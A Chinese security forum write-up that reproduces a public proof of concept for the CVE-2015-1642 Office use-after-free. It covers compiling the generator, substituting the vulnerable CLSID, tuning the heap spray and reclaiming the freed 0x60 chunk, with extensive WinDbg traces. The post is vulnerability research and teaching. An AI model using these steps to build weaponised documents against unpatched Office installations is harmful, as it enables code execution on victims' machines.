首页
论坛
专栏
课程

[原创]从CVE-2015-1642到Office ActiveX控件堆喷探究

2019-3-14 16:06 2104

[原创]从CVE-2015-1642到Office ActiveX控件堆喷探究

2019-3-14 16:06
2104

从CVE-2015-1642到Office ActiveX控件堆喷探究


 

目录

前言

笔者最近重新研究了一下 officeActiveX 控件堆喷射的相关细节,在此过程中对遇到的一个cve-2015-1642 poc进行了复现,在本文的最后,笔者探索了 ActiveX 控件堆喷射的部分原理,提出了一种比较简单的 ActiveX 控件堆喷射检测思路,实践证明该方式可以准确检出这类堆喷射。

 

由于笔者能力有限,不足之处还请读者斧正。

cve-2015-1642 poc复现

cve-2015-1642 被公布时为在野利用状态(0day)

 

 

漏洞细节首先是由 @yongchuank2015.8.17 公布的,具体见:

 

https://labs.mwrinfosecurity.com/advisories/microsoft-office-ctasksymbol-use-after-free-vulnerability/

 

随后,NCC Group 公司的 @d0mzw2015.10.30 公开了这个漏洞的进一步细节,并在文章内详细讨论了 office 内存破坏漏洞借助堆喷射进行利用的具体细节,作者还仔细讨论了office堆喷射的许多细节和通用利用编写方式。

 

https://www.nccgroup.trust/uk/our-research/understanding-microsoft-word-ole-exploit-primitives/

 

接着,玄武实验室的 Danny__Wei2015.11.28 在自己的博客上公开了这个漏洞的poc,公开的poc是一段 C# 代码,poc构造思路基本遵循了 NCC Group 的文章。

 

http://www.cnblogs.com/Danny-Wei/p/5003302.html

 

笔者最近对 officeActiveX 控件堆喷射的细节进行了进一步研究,研究过程中再次遇到上述材料,因此决定复现一下相关poc。

 

office UAF 漏洞的利用是比较少见的,因为重用内存时占位的时机不好控制。这个漏洞触发后恰好有一段时机可以用来占位,所以值得研究一下。这篇文章还解决了一个问题:可以借助字符串申请申请任意大小的内存块,这在UAF利用时是非常有用的,一般产生UAF时,相应的对象大小往往比较小,所以如何在 office 内进行任意大小内存的申请也就显得尤其重要。

 

office 下的堆喷射技巧,历史上有若干漏洞样本都曾采用过。例如 cve-2013-3906/cve-2015-1641/cve-2015-1642/cve-2016-7193/cve-2017-11826,有资料表明 cve-2015-2424 这个0day也用到了堆喷射,这一点需要进一步考证。

 

上述几个借助堆喷射的漏洞,其漏洞类型分别如下:

 

cve-2013-3906 整数溢出

 

cve-2015-1641 类型混淆

 

cve-2015-1642 UAF

 

cve-2016-7193 数组越界写

 

cve-2017-11826 类型混淆

 

这里我们来研究一下 cve-2015-1642,笔者遇到的第一个问题是如何编译 Danny__Wei 的poc代码,这看着是一段 C# 代码,在经过若干探索后,笔者用 VS2010 新建了一个 C# 的窗体应用程序,如下:

 

 

随后在窗口上添加一个按钮控件:

 

 

双击按钮,即来到了 button1_Click 函数中,此时将 Danny__Wei 的代码全部拷贝进来即可,拷贝完代码后,会有些对象类型不认识,此时我们需要添加对 MSCOMCTL.OCX 动态库和 Microsoft.Office.Interop.Word.dll 动态库的引用,具体的方法如下:

 

 

笔者的电脑装有若干版本的VS,所以这两个动态库可以通过 Listary 等工具搜到,将其拷贝到工程目录下,选中后点击确定即可,成功引入后,可以看到引用列表里面多了如下两个库:

 

 

最后添加所需的头文件即可:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

// 新加
using Word = Microsoft.Office.Interop.Word;

此时我们就可以编译生成该poc了(确保你的机器上装有 office,笔者的机器上装的是 office 2010)。

 

编译完成后,双击 .exe 文件,出现一个窗口,点击上面的按钮就可以生成poc了(test.docx):

 

 

此时这个 test.docx 还不是一个漏洞样本,它只带有堆喷射和 0x60 大小的内存占位功能。关于如何在此基础上构造一个 cve-2015-1642 的漏洞样本,@d0mzw 在他的文章里面写的很清楚:

 

 

笔者在此思路上用 7z 打开了生成的 docx 文件,并将 activeX1.xmlclsid 换成了漏洞的 clsid:44F9A03B-A3EC-4F3B-9364-08E0007F21DF。此时我们就有了一个“理论上”可以劫持 eip0xC0DEC0DEcve-2015-1642 样本。

 

为什么说“理论上”呢?因为读者如果自己实验的话,就会发现这个poc很不稳定,构造的样本在没有打补丁的环境中 crash 是没有问题的,但是笔者试了几次后发现我们并未劫持到 eip

 

接下来我们通过调试并改造poc代码来初步实现对eip的劫持,本文不讨论利用编写,利用编写请参考笔者的另一篇文章:

 

https://bbs.pediy.com/thread-221792.htm

 

我们先删除堆喷射部分,构造一个只触发 cve-2015-1642 的样本,看一下崩溃现场是否和相关文章里面描述的相同(当然,如果读者比较懒,那么VT也有一个现成的 cve-2015-1642 crash poc,有条件的可以自己下载,md5: 8b7d1680d8aeb1d0d822ee33777671ab)

 

笔者调试时某次的 crash 现场如下,可以看到这是一个典型的UAF,且 crash 现场和 @d0mzw 的基本一致(请注意 @yongchuank 的crash现场并不是这里,笔者在 office 2013 下开启页堆后的崩溃现场依然是下面这个,读者请以实际调试的情况为准)

以下调试环境为 windows sp1 x86 + office 2010 未打补丁
调试器为 windbg x86

0:000> !gflag +ust +hpa
New NtGlobalFlag contents: 0x02001000
    ust - Create user mode stack trace database
    hpa - Place heap allocations at ends of pages

0:000> g
(e08.cf8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0136ad60 ebx=0015d620 ecx=005c0073 edx=000000c0 esi=012ec9d0 edi=00000001
eip=6d9a526e esp=0015d584 ebp=0015d588 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
mmcndmgr!ATL::CComContainedObject<CTaskSymbol>::AddRef+0xe:
6d9a526e ff5104          call    dword ptr [ecx+4]    ds:0023:005c0077=????????

0:000> ub 6d9a526e
mmcndmgr!ATL::IObjectSafetyImpl<CTaskSymbol,3>::GetInterfaceSafetyOptions+0x70:
6d9a525f 90              nop
mmcndmgr!ATL::CComContainedObject<CTaskSymbol>::AddRef:
6d9a5260 8bff            mov     edi,edi
6d9a5262 55              push    ebp
6d9a5263 8bec            mov     ebp,esp
6d9a5265 8b4508          mov     eax,dword ptr [ebp+8]
6d9a5268 8b403c          mov     eax,dword ptr [eax+3Ch]
6d9a526b 8b08            mov     ecx,dword ptr [eax] <- 此时eax指向的堆为一片已经被释放的内存
6d9a526d 50              push    eax
0:000> u
mmcndmgr!ATL::CComContainedObject<CTaskSymbol>::AddRef+0xe:
6d9a526e ff5104          call    dword ptr [ecx+4]
6d9a5271 5d              pop     ebp
6d9a5272 c20400          ret     4
6d9a5275 90              nop
6d9a5276 90              nop
6d9a5277 90              nop
6d9a5278 90              nop
6d9a5279 90              nop

0:000> !heap -p -a eax
    address 0136ad60 found in
    _HEAP @ 1310000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0136ad28 000f 0000  [00]   0136ad30    00070 - (free)

0:000> dd eax
0136ad60  005c0073 00650054 0070006d 0072006f
0136ad70  00720061 00200079 006e0049 00650074
0136ad80  006e0072 00740065 00460020 006c0069
0136ad90  00730065 00000000 00000000 00000000
0136ada0  1f96eead c2000000 0b6bacdc 00000000
0136adb0  00000002 05020018 00000040 003a0043
0136adc0  0057005c 006e0069 006f0064 00730077
0136add0  0073005c 00730079 00650074 0033006d

0:000> lmvm mmcndmgr
start    end        module name
6d8e0000 6daf1000   mmcndmgr   (pdb symbols)          c:\symbols\mmcndmgr.pdb\9391F23E8AA9468F9286764638C626A22\mmcndmgr.pdb
    Loaded symbol image file: C:\Windows\system32\mmcndmgr.dll
    Image path: C:\Windows\system32\mmcndmgr.dll
    Image name: mmcndmgr.dll
    Timestamp:        Sat Nov 20 20:01:19 2010 (4CE7B88F)
    CheckSum:         002191C0
    ImageSize:        00211000
    File version:     6.1.7601.17514
    Product version:  6.1.7601.17514
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Microsoft® Windows® Operating System
    InternalName:     mmcndmgr.dll
    OriginalFilename: mmcndmgr.dll
    ProductVersion:   6.1.7601.17514
    FileVersion:      6.1.7601.17514 (win7sp1_rtm.101119-1850)
    FileDescription:  MMC Node Manager DLL
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

现在笔者有一个问题:我不知道被释放前 eax 对象的内存大小为多少。我们来下个断点看一下:

bp mmcndmgr+c526b "r eax; dc eax; !heap -p -a eax; g;"

...

eax=1f740fc0 // 在前面几次,eax 所指代对象的内存大小一直是 0x60
1f740fc0  6e099c14 6e099bf0 6e099c2c 00000000  ...n...n,..n....
1f740fd0  c0c0c0c0 1f740fa0 6e099c2c 00000000  ......t.,..n....
1f740fe0  c0c0c0c0 1f740fa0 6e099c4c c0c0c0c0  ......t.L..n....
1f740ff0  1bc1ce70 c0c0c0c0 00000000 1f6a4ff0  p............Oj.
1f741000  ???????? ???????? ???????? ????????  ????????????????
1f741010  ???????? ???????? ???????? ????????  ????????????????
1f741020  ???????? ???????? ???????? ????????  ????????????????
1f741030  ???????? ???????? ???????? ????????  ????????????????
    address 1f740fc0 found in
    _DPH_HEAP_ROOT @ 61000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1f711af8:         1f740fa0               60 -         1f740000             2000
    731c8e89 verifier!VerifierDisableFaultInjectionExclusionRange+0x00002f39
    770f5e26 ntdll!RtlDebugAllocateHeap+0x00000030
    770ba376 ntdll!RtlpAllocateHeap+0x000000c4
    77085ae0 ntdll!RtlAllocateHeap+0x0000023a
    7674ea43 ole32!CRetailMalloc_Alloc+0x00000016
    6de72094 VBE7+0x00002094
    6e073fbf VBE7!rtUI1FromErrVar+0x00004515
    6e0753ac VBE7!rtUI1FromErrVar+0x00005902
    6737cf43 wwlib!wdGetApplicationObject+0x0004d9a5
    6737d18e wwlib!wdGetApplicationObject+0x0004dbf0
    66da95dc wwlib!DllGetLCID+0x0030d566
    66e0a017 wwlib!DllGetLCID+0x0036dfa1
    66951866 wwlib!GetAllocCounters+0x000ab40e
    66af1599 wwlib!DllGetLCID+0x00055523
    66ae3244 wwlib!DllGetLCID+0x000471ce
    670a51cf wwlib!DllGetLCID+0x00609159
    66deff77 wwlib!DllGetLCID+0x00353f01
    672e5aa1 wwlib!DllGetLCID+0x00849a2b
    6745b6af wwlib!wdGetApplicationObject+0x0012c111
    66dfec6a wwlib!DllGetLCID+0x00362bf4
    668a47b5 wwlib!DllGetClassObject+0x0000f161
    7549c4e7 USER32!gapfnScSendMessage+0x000001cf
    7549c5e7 USER32!gapfnScSendMessage+0x000002cf
    75491b31 USER32!PeekMessageA+0x0000018c
    75491b57 USER32!CallWindowProcW+0x0000001b
    73d6f443 Comctl32_73d40000!DPA_Sort+0x000002aa
    73d6f5ee Comctl32_73d40000!DefSubclassProc+0x00000092
    73d6f5a2 Comctl32_73d40000!DefSubclassProc+0x00000046
    6434e298 mso!Ordinal4894+0x0000074f
    6434def5 mso!Ordinal4894+0x000003ac
    73d6f5ee Comctl32_73d40000!DefSubclassProc+0x00000092
    73d6f490 Comctl32_73d40000!DPA_Sort+0x000002f7

eax=1f740fc0 // 此处内存已经被程序自身重用
1f740fc0  abcdbbbb 00061000 0000001c 00001000  ................
1f740fd0  00000000 00000000 0043d77c dcbabbbb  ........|.C.....
1f740fe0  0065004b 00700065 0065004b 00740079  K.e.e.p.K.e.y.t.
1f740ff0  00700069 00550073 00000070 d0d0d0d0  i.p.s.U.p.......
1f741000  ???????? ???????? ???????? ????????  ????????????????
1f741010  ???????? ???????? ???????? ????????  ????????????????
1f741020  ???????? ???????? ???????? ????????  ????????????????
1f741030  ???????? ???????? ???????? ????????  ????????????????
    address 1f740fc0 found in
    _DPH_HEAP_ROOT @ 61000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1f711af8:         1f740fe0               1c -         1f740000             2000
    731c8e89 verifier!VerifierDisableFaultInjectionExclusionRange+0x00002f39
    770f5e26 ntdll!RtlDebugAllocateHeap+0x00000030
    770ba376 ntdll!RtlpAllocateHeap+0x000000c4
    77085ae0 ntdll!RtlAllocateHeap+0x0000023a
    64f1d4ac mso!Ordinal149+0x000074b2
    6431d41b mso!Ordinal638+0x0000001b
    643489eb mso!Ordinal7302+0x00000154
    6434880a mso!Ordinal2841+0x000000cb
    64347609 mso!Ordinal10095+0x000001e8
    64347392 mso!Ordinal6640+0x00000058
    643472fc mso!Ordinal1511+0x000000c7
    643d1501 mso!Ordinal3423+0x0000013b
    643d14cb mso!Ordinal3423+0x00000105
    643e20a0 mso!Ordinal424+0x000003d4
    643e27cd mso!Ordinal424+0x00000b01
    643e26d2 mso!Ordinal424+0x00000a06
    643e216b mso!Ordinal424+0x0000049f
    643e2027 mso!Ordinal424+0x0000035b
    643e1eef mso!Ordinal424+0x00000223
    643e1e89 mso!Ordinal424+0x000001bd
    643e1e5e mso!Ordinal424+0x00000192
    643e1db5 mso!Ordinal424+0x000000e9
    643e1d58 mso!Ordinal424+0x0000008c
    643e1c01 mso!Ordinal2030+0x00000155
    64410424 mso!Ordinal6386+0x000007ce
    64496d25 mso!Ordinal7002+0x00000095
    644c9d42 mso!Ordinal3938+0x000001f2
    66ae3244 wwlib!DllGetLCID+0x000471ce
    670a51cf wwlib!DllGetLCID+0x00609159
    66deff77 wwlib!DllGetLCID+0x00353f01
    672e5aa1 wwlib!DllGetLCID+0x00849a2b
    6745b6af wwlib!wdGetApplicationObject+0x0012c111


(fbc.fc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1f740fc0 ebx=002bdac8 ecx=abcdbbbb edx=000000c0 esi=1ab60fd0 edi=00000001
eip=694f526e esp=002bda2c ebp=002bda30 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
mmcndmgr!ATL::CComContainedObject<CTaskSymbol>::AddRef+0xe:
694f526e ff5104          call    dword ptr [ecx+4]    ds:0023:abcdbbbf=????????

到这里,我们已经知道被释放的对象大小为 0x60.

 

现在,让我们来整理一下思绪,这个UAF如果要成功利用,所构造的文档在执行是需要满足哪些最简条件?

1. 确保 ActiveX 控件的堆喷射成功,例如 0x0a0a0a0a 地址处的内存精确可控
2. 初始化有漏洞的 clsid,0x60大小的内存被释放
3. 立即申请许多 0x60 大小的内存,去重用上述被释放的 0x60 字节内存 <- 这一步是关键
4. 0x60 大小的内存被重新引用,伪造的虚函数指针被调用,控制流成功劫持

我们先来检视一下 @d0mzw 文章中提供的思路:

 

 

我们再来看一下 Danny__Wei 代码中对上述思路的实现,可以发现如果实际执行顺序为从下到上的话,和上述文章的思路完全一样:

 

 

顾名思义,DefragmenHeap 函数的作用是整理内存,实际内存申请时可能申请 0x60 大小的内存,占用的是稍微大一点的内存块,这个函数的作用就是把那些内存块先使用完,从而让系统分配精准的 0x60 大小的内存块,以便提高占位的有效性。

 

到这里,笔者脑海里的问题是:

1. 对象的实际分配顺序到底是主函数代码中的顺序还是有所不同,为什么 Danny__Wei 代码中的顺序和 @d0mzw 文章中建议的顺序相反?
2. 这个UAF在释放内存和重用内存之间的时间差够大吗?利用代码有足够的时间在这个时间区间内占用被释放的0x60大小的内存吗?
3. @d0mzw 文章中的 multiple times 究竟是多少次?Danny__Wei 代码中 DefragmenHeap 函数中申请了32次,ReplaceHeap 函数中申请了16次。自己本地环境中这个值一定够吗? 

我们借助调试器来探究一下上述问题。

 

要回答第1个问题,我们需要清楚以下几点:

  • a. poc样本中有哪几处关键的内存申请?
  • b. 如何提通过条件断点来观察这些对象的内存申请的先后顺序?

笔者先回答a:显然,tabArrayB[j].Buttons.Add().ToolTipText = objAllocB/objAllocB/chunk; 这几处代码执行时存在一个统一的内存申请点。其次,每个 ActiveX[x].bin 文件在被映射到 office 进程空间时,还有一次统一的内存申请点,笔者将这部分的讨论放到本文最后。

 

关于 objAllocB/objAllocB/chunk 的申请,我们可以在堆喷射完的 winword 进程找一个对应堆块的指针,在只开启堆分配用户态栈回溯( +ust )的情况下可以观察到如下输出:

0:000> !heap -flt s fffd0 (如果不是这个值可以用 fffe0)
    _HEAP @ 12c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        100f0018 1fffc 0000  [00]   100f0030    fffd0 - (busy VirtualAlloc) // 笔者借助这里的 UserPtr 查看栈回溯
        10200018 1fffc fffc  [00]   10200030    fffd0 - (busy VirtualAlloc)
        0fee0018 1fffc fffc  [00]   0fee0030    fffd0 - (busy VirtualAlloc)
        10e40018 1fffc fffc  [00]   10e40030    fffd0 - (busy VirtualAlloc)
        10310018 1fffc fffc  [00]   10310030    fffd0 - (busy VirtualAlloc)
        10420018 1fffc fffc  [00]   10420030    fffd0 - (busy VirtualAlloc)
        10530018 1fffc fffc  [00]   10530030    fffd0 - (busy VirtualAlloc)
        10640018 1fffc fffc  [00]   10640030    fffd0 - (busy VirtualAlloc)
        10750018 1fffc fffc  [00]   10750030    fffd0 - (busy VirtualAlloc)
        10860018 1fffc fffc  [00]   10860030    fffd0 - (busy VirtualAlloc)
        10970018 1fffc fffc  [00]   10970030    fffd0 - (busy VirtualAlloc)
        10a80018 1fffc fffc  [00]   10a80030    fffd0 - (busy VirtualAlloc)
        10b90018 1fffc fffc  [00]   10b90030    fffd0 - (busy VirtualAlloc)
        10ca0018 1fffc fffc  [00]   10ca0030    fffd0 - (busy VirtualAlloc)
        13dd0018 1fffc fffc  [00]   13dd0030    fffd0 - (busy VirtualAlloc)
        13ee0018 1fffc fffc  [00]   13ee0030    fffd0 - (busy VirtualAlloc)
        10f50018 1fffc fffc  [00]   10f50030    fffd0 - (busy VirtualAlloc)
        11060018 1fffc fffc  [00]   11060030    fffd0 - (busy VirtualAlloc)
        11170018 1fffc fffc  [00]   11170030    fffd0 - (busy VirtualAlloc)
        11280018 1fffc fffc  [00]   11280030    fffd0 - (busy VirtualAlloc)
        11390018 1fffc fffc  [00]   11390030    fffd0 - (busy VirtualAlloc)
        114a0018 1fffc fffc  [00]   114a0030    fffd0 - (busy VirtualAlloc)
        115b0018 1fffc fffc  [00]   115b0030    fffd0 - (busy VirtualAlloc)
        116c0018 1fffc fffc  [00]   116c0030    fffd0 - (busy VirtualAlloc)
        117d0018 1fffc fffc  [00]   117d0030    fffd0 - (busy VirtualAlloc)
        118e0018 1fffc fffc  [00]   118e0030    fffd0 - (busy VirtualAlloc)
        119f0018 1fffc fffc  [00]   119f0030    fffd0 - (busy VirtualAlloc)
        11b00018 1fffc fffc  [00]   11b00030    fffd0 - (busy VirtualAlloc)
        11c10018 1fffc fffc  [00]   11c10030    fffd0 - (busy VirtualAlloc)
        11d20018 1fffc fffc  [00]   11d20030    fffd0 - (busy VirtualAlloc)
        11e30018 1fffc fffc  [00]   11e30030    fffd0 - (busy VirtualAlloc)
        11f40018 1fffc fffc  [00]   11f40030    fffd0 - (busy VirtualAlloc)
        12050018 1fffc fffc  [00]   12050030    fffd0 - (busy VirtualAlloc)
        12160018 1fffc fffc  [00]   12160030    fffd0 - (busy VirtualAlloc)
        12270018 1fffc fffc  [00]   12270030    fffd0 - (busy VirtualAlloc)
        12380018 1fffc fffc  [00]   12380030    fffd0 - (busy VirtualAlloc)
        12490018 1fffc fffc  [00]   12490030    fffd0 - (busy VirtualAlloc)
        125a0018 1fffc fffc  [00]   125a0030    fffd0 - (busy VirtualAlloc)
        126b0018 1fffc fffc  [00]   126b0030    fffd0 - (busy VirtualAlloc)
        127c0018 1fffc fffc  [00]   127c0030    fffd0 - (busy VirtualAlloc)
        128d0018 1fffc fffc  [00]   128d0030    fffd0 - (busy VirtualAlloc)
        129e0018 1fffc fffc  [00]   129e0030    fffd0 - (busy VirtualAlloc)
        12af0018 1fffc fffc  [00]   12af0030    fffd0 - (busy VirtualAlloc)
        12c00018 1fffc fffc  [00]   12c00030    fffd0 - (busy VirtualAlloc)
        12d10018 1fffc fffc  [00]   12d10030    fffd0 - (busy VirtualAlloc)
        12e20018 1fffc fffc  [00]   12e20030    fffd0 - (busy VirtualAlloc)
        12f30018 1fffc fffc  [00]   12f30030    fffd0 - (busy VirtualAlloc)
        13040018 1fffc fffc  [00]   13040030    fffd0 - (busy VirtualAlloc)
        13150018 1fffc fffc  [00]   13150030    fffd0 - (busy VirtualAlloc)
        13260018 1fffc fffc  [00]   13260030    fffd0 - (busy VirtualAlloc)
        13370018 1fffc fffc  [00]   13370030    fffd0 - (busy VirtualAlloc)
        13480018 1fffc fffc  [00]   13480030    fffd0 - (busy VirtualAlloc)
        13590018 1fffc fffc  [00]   13590030    fffd0 - (busy VirtualAlloc)
        136a0018 1fffc fffc  [00]   136a0030    fffd0 - (busy VirtualAlloc)
        137b0018 1fffc fffc  [00]   137b0030    fffd0 - (busy VirtualAlloc)
        138c0018 1fffc fffc  [00]   138c0030    fffd0 - (busy VirtualAlloc)
        139d0018 1fffc fffc  [00]   139d0030    fffd0 - (busy VirtualAlloc)
        13ae0018 1fffc fffc  [00]   13ae0030    fffd0 - (busy VirtualAlloc)
        13bf0018 1fffc fffc  [00]   13bf0030    fffd0 - (busy VirtualAlloc)
        1f700018 1fffc fffc  [00]   1f700030    fffd0 - (busy VirtualAlloc)
    _HEAP @ 10000
    _HEAP @ 1470000
    _HEAP @ 12a0000
    _HEAP @ 23f0000
    _HEAP @ 2670000
    _HEAP @ 3500000
    _HEAP @ 36e0000
    _HEAP @ 3470000
    _HEAP @ 3420000
    _HEAP @ 3670000
    _HEAP @ 34b0000
    _HEAP @ 4320000
    _HEAP @ 5090000
    _HEAP @ 42e0000
    _HEAP @ 5630000
    _HEAP @ 6440000
    _HEAP @ 60c0000
    _HEAP @ 6300000
    _HEAP @ 6140000
    _HEAP @ 6e30000
    _HEAP @ 8fd0000
    _HEAP @ 9d90000
    _HEAP @ b280000
    _HEAP @ b170000
    _HEAP @ fa90000
    _HEAP @ f980000

0:000> !heap -p -a 100f0030
    address 100f0030 found in
    _HEAP @ 12c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        100f0018 1fffc 0000  [00]   100f0030    fffd0 - (busy VirtualAlloc)
        Trace: 32bd0a8
        774cdd6c ntdll!RtlAllocateHeap+0x00000274
        761cea43 ole32!CRetailMalloc_Alloc+0x00000016
        760f4557 OLEAUT32!APP_DATA::AllocCachedMem+0x00000060
        760f460b OLEAUT32!SysAllocStringLen+0x0000003d
        275a703f MSCOMCTL!DLLGetDocumentation+0x0001c1d2 <- 很明显此处调用了 OLEAUT32!SysAllocStringLen 去申请字符串相关内存
        275a7fea MSCOMCTL!DLLGetDocumentation+0x0001d17d
        275a30aa MSCOMCTL!DLLGetDocumentation+0x0001823d
        275cde30 MSCOMCTL!DllGetClassObject+0x00002c9a
        275cdea6 MSCOMCTL!DllGetClassObject+0x00002d10
        64f30bb7 mso!Ordinal307+0x000e439a
        64ddde5e mso!Ordinal2049+0x00000061
        6786c107 wwlib!wdGetApplicationObject+0x0004cb69
        6786c223 wwlib!wdGetApplicationObject+0x0004cc85
        6786c330 wwlib!wdGetApplicationObject+0x0004cd92
        6f069d3a VBE7!ExtendedControlCF::CreateExtendedControl+0x000000d2
        6f043fbf VBE7!CVBAControlMgr::CreateControlInstance+0x00000063
        6f0453ac VBE7!CVBAControlMgr::DefineControl+0x00000278
        6786cf43 wwlib!wdGetApplicationObject+0x0004d9a5
        6786d18e wwlib!wdGetApplicationObject+0x0004dbf0
        672995dc wwlib!DllGetLCID+0x0030d566
        672fa017 wwlib!DllGetLCID+0x0036dfa1
        66e41866 wwlib!GetAllocCounters+0x000ab40e
        66fe1599 wwlib!DllGetLCID+0x00055523
        66fd3244 wwlib!DllGetLCID+0x000471ce
        675951cf wwlib!DllGetLCID+0x00609159
        672dff77 wwlib!DllGetLCID+0x00353f01
        677d5aa1 wwlib!DllGetLCID+0x00849a2b
        6794b6af wwlib!wdGetApplicationObject+0x0012c111
        672eec6a wwlib!DllGetLCID+0x00362bf4
        66d947b5 wwlib!DllGetClassObject+0x0000f161
        765fc4e7 USER32!InternalCallWinProc+0x00000023
        765fc5e7 USER32!UserCallWinProcCheckWow+0x0000014b

再回答b:借助上面得到的信息,笔者下了如下断点进行观察:

0:000> bp MSCOMCTL+2703d "u ebx; dd esp l2; g;"
0:000> bp MSCOMCTL+2703f "r eax; !heap -p -a eax; g;"

0:000> g
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\OLEAUT32.dll -
OLEAUT32!SysAllocStringLen:
766745d2 8bff            mov     edi,edi
766745d4 55              push    ebp
766745d5 8bec            mov     ebp,esp
766745d7 51              push    ecx
766745d8 8365fc00        and     dword ptr [ebp-4],0
766745dc 56              push    esi
766745dd 8b750c          mov     esi,dword ptr [ebp+0Ch]
766745e0 8d45fc          lea     eax,[ebp-4]
00156b40  00000000 0007ffed
eax=09570024
    address 09570024 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        09570018 1fffc 0000  [00]   09570020    fffe0 - (busy VirtualAlloc)


OLEAUT32!SysAllocStringLen:
766745d2 8bff            mov     edi,edi
766745d4 55              push    ebp
766745d5 8bec            mov     ebp,esp
766745d7 51              push    ecx
766745d8 8365fc00        and     dword ptr [ebp-4],0
766745dc 56              push    esi
766745dd 8b750c          mov     esi,dword ptr [ebp+0Ch]
766745e0 8d45fc          lea     eax,[ebp-4]
00156b40  00000000 0007ffed
eax=096f0024
    address 096f0024 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        096f0018 1fffc 0000  [00]   096f0020    fffe0 - (busy VirtualAlloc)

...

OLEAUT32!SysAllocStringLen:
766745d2 8bff            mov     edi,edi
766745d4 55              push    ebp
766745d5 8bec            mov     ebp,esp
766745d7 51              push    ecx
766745d8 8365fc00        and     dword ptr [ebp-4],0
766745dc 56              push    esi
766745dd 8b750c          mov     esi,dword ptr [ebp+0Ch]
766745e0 8d45fc          lea     eax,[ebp-4]
00156b40  00000000 0000002d
eax=00265b54
    address 00265b54 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00265b48 000d 0000  [00]   00265b50    00060 - (busy)


OLEAUT32!SysAllocStringLen:
766745d2 8bff            mov     edi,edi
766745d4 55              push    ebp
766745d5 8bec            mov     ebp,esp
766745d7 51              push    ecx
766745d8 8365fc00        and     dword ptr [ebp-4],0
766745dc 56              push    esi
766745dd 8b750c          mov     esi,dword ptr [ebp+0Ch]
766745e0 8d45fc          lea     eax,[ebp-4]
00156b40  00000000 0000002d
eax=04574dec
    address 04574dec found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        04574de0 0021 0000  [00]   04574de8    00100 - (busy) // 可以注意到这里给分配的不是 0x60 大小的堆块,所以需要多申请几次


OLEAUT32!SysAllocStringLen:
766745d2 8bff            mov     edi,edi
766745d4 55              push    ebp
766745d5 8bec            mov     ebp,esp
766745d7 51              push    ecx
766745d8 8365fc00        and     dword ptr [ebp-4],0
766745dc 56              push    esi
766745dd 8b750c          mov     esi,dword ptr [ebp+0Ch]
766745e0 8d45fc          lea     eax,[ebp-4]
00156b40  00000000 0000002d
eax=0028c804
    address 0028c804 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0028c7f8 0013 0000  [00]   0028c800    00090 - (busy) // 可以注意到这里给分配的不是 0x60 大小的堆块,所以需要多申请几次


OLEAUT32!SysAllocStringLen:
766745d2 8bff            mov     edi,edi
766745d4 55              push    ebp
766745d5 8bec            mov     ebp,esp
766745d7 51              push    ecx
766745d8 8365fc00        and     dword ptr [ebp-4],0
766745dc 56              push    esi
766745dd 8b750c          mov     esi,dword ptr [ebp+0Ch]
766745e0 8d45fc          lea     eax,[ebp-4]
00156b40  00000000 0000002d
eax=00265a84
    address 00265a84 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00265a78 000d 0000  [00]   00265a80    00060 - (busy)


OLEAUT32!SysAllocStringLen:
766745d2 8bff            mov     edi,edi
766745d4 55              push    ebp
766745d5 8bec            mov     ebp,esp
766745d7 51              push    ecx
766745d8 8365fc00        and     dword ptr [ebp-4],0
766745dc 56              push    esi
766745dd 8b750c          mov     esi,dword ptr [ebp+0Ch]
766745e0 8d45fc          lea     eax,[ebp-4]
00156b40  00000000 0000002d
eax=00265c24
    address 00265c24 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00265c18 000d 0000  [00]   00265c20    00060 - (busy)


OLEAUT32!SysAllocStringLen:
766745d2 8bff            mov     edi,edi
766745d4 55              push    ebp
766745d5 8bec            mov     ebp,esp
766745d7 51              push    ecx
766745d8 8365fc00        and     dword ptr [ebp-4],0
766745dc 56              push    esi
766745dd 8b750c          mov     esi,dword ptr [ebp+0Ch]
766745e0 8d45fc          lea     eax,[ebp-4]
00156b40  00000000 0000002d
eax=00265c8c
    address 00265c8c found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00265c80 000d 0000  [00]   00265c88    00060 - (busy)

...

从上面的日志可以观察到:实际执行时 chunk 块(fffe0)的内存是最先申请的,随后是 DefragmenHeapReplaceHeap 中对 objAllocA/objAllocB 的申请,在不考虑字符串内容的情况下,这两个函数的执行顺序笔者并不关心。实际测试发现把 DefragmenHeap 函数中的 objAllocB 内存申请数量进一步增加,将 ReplaceHeap 函数删除,也可以实现正常占位。

 

接下来我们通过调试器来回答第2个问题:这个UAF在释放内存和重用内存之间的时间差够大吗?利用有足够的时间在这个时间区间内占用被释放的 0x60 大小的内存吗?

 

